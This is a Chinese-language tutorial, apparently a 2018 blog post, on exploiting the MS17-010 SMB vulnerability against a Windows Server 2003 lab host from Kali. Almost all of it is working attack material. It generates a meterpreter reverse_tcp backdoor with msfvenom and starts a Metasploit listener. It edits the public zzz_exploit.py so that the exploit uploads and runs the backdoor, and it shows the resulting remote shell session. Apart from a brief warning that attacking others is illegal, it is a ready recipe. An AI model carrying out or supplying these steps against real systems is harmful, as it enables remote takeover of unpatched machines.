首先给大家介绍两样东西:

这里写图片描述

这里写图片描述

希望大家要清楚,擅自攻击别人电脑是违法行为!

然后开始今天的主题。。

首先,目标机器是windows2003(x86),IP地址是:10.0.3.146;攻击者的机器是kali,IP地址是:10.0.3.215

然后我们下载一个ms17_010的利用脚本。

root@kali:~/Desktop# git clone https://github.com/worawit/MS17-010/

下载完之后,进入目录:

root@kali:~# cd Desktop/MS17-010/

然后利用checker.py来检查目标是否可以利用这个漏洞,是否有可用管道:

root@kali:~/Desktop/MS17-010# python checker.py 10.0.3.146
Target OS: Windows Server 2003 R2 3790 Service Pack 2
The target is not patched

=== Testing named pipes ===
spoolss: STATUS_OBJECT_NAME_NOT_FOUND
samr: Ok (32 bit)
netlogon: Ok (Bind context 1 rejected: provider_rejection; abstract_syntax_not_supported (this usually means the interface isn't listening on the given endpoint))
lsarpc: Ok (32 bit)
browser: Ok (32 bit)
root@kali:~/Desktop/MS17-010# 

发现管道名称为netlogon而且状态是OK,说明该漏洞可用。

然后再kali上生成一个后门exe文件:

root@kali:~/Desktop# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.3.215  LPORT=4444  -f  exe  -o  /tmp/1.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes
Saved as: /tmp/1.exe
root@kali:~/Desktop# 

我把这个exe文件放在了/tmp/目录下,这个路径可以随便定,只要你能记住。

然后打开metasploit,使用msf对4444端口进行监听。当然,这个端口可以随便选择,前提是跟前面生成的exe的端口保持一致。具体的命令及其含义看下面:

[i] Database already started
[i] The database appears to be already configured, skipping initialization

msf >

使用exploit/multi/handler 模块

msf > use exploit/multi/handler 

设置攻击载荷windows/meterpreter/reverse_tcp

msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp 
payload => windows/meterpreter/reverse_tcp

设置攻击者的ip地址及监听端口,这里的ip和端口要跟上面生成exe文件的地方保持一致:

msf exploit(multi/handler) > set lhost 10.0.3.215
lhost => 10.0.3.215
msf exploit(multi/handler) > set lport 4444
lport => 4444

执行监听操作,并将监听放入后台执行:

msf exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 10.0.3.215:4444 
msf exploit(multi/handler) > 

此时查看jobs,发现已经在监听了:

msf exploit(multi/handler) > jobs

Jobs
====

  Id  Name                    Payload                          Payload opts
  --  ----                    -------                          ------------
  0   Exploit: multi/handler  windows/meterpreter/reverse_tcp  tcp://10.0.3.215:4444

msf exploit(multi/handler) > 

不要关闭msf的控制台,然后回到/MS17-010/文件夹里,修改里面zzz_exploit.py文件的代码:
文件很长,建议用记事本打开,直接搜smb_pwn(conn, arch),找到其位置,然后做如下修改:

def smb_pwn(conn, arch):
    smbConn = conn.get_smbconnection()

    print('creating file c:\\pwned.txt on the target')
    tid2 = smbConn.connectTree('C$')
    fid2 = smbConn.createFile(tid2, '/pwned.txt')
    smbConn.closeFile(tid2, fid2)
    smbConn.disconnectTree(tid2)

    # 把这两行前面的注释去掉,然后按照自己的路径填写:
    smb_send_file(smbConn, '/tmp/1.exe', 'C', '/1.exe')
    service_exec(conn, r'cmd /c c:\\1.exe')
    # Note: there are many methods to get shell over SMB admin session
    # a simple method to get shell (but easily to be detected by AV) is
    # executing binary generated by "msfvenom -f exe-service ..."

保存并退出。
执行利用程序zzz_exploit.py:

root@kali:~/Desktop/MS17-010# python zzz_exploit.py  10.0.3.146  netlogon

root@kali:~/Desktop/MS17-010# 

执行成功,此时返回msf的控制台,发现已经收到反弹的shell:

msf exploit(multi/handler) > 
[*] Sending stage (179779 bytes) to 10.0.3.146
[*] Meterpreter session 1 opened (10.0.3.215:4444 -> 10.0.3.146:1061) at 2018-08-08 16:53:33 +0800

msf exploit(multi/handler) >

因为是在后台执行的监听,查看sessions,发现已经有了一个会话:

msf exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                     Information                            Connection
  --  ----  ----                     -----------                            ----------

切换到sessions 1:

msf exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...

meterpreter > 
meterpreter > sysinfo
Computer        : TEST-7599922A80

System Language : zh_CN

Meterpreter     : x86/windows
meterpreter > 

最后可用看到msf成功反弹出目标的shell。
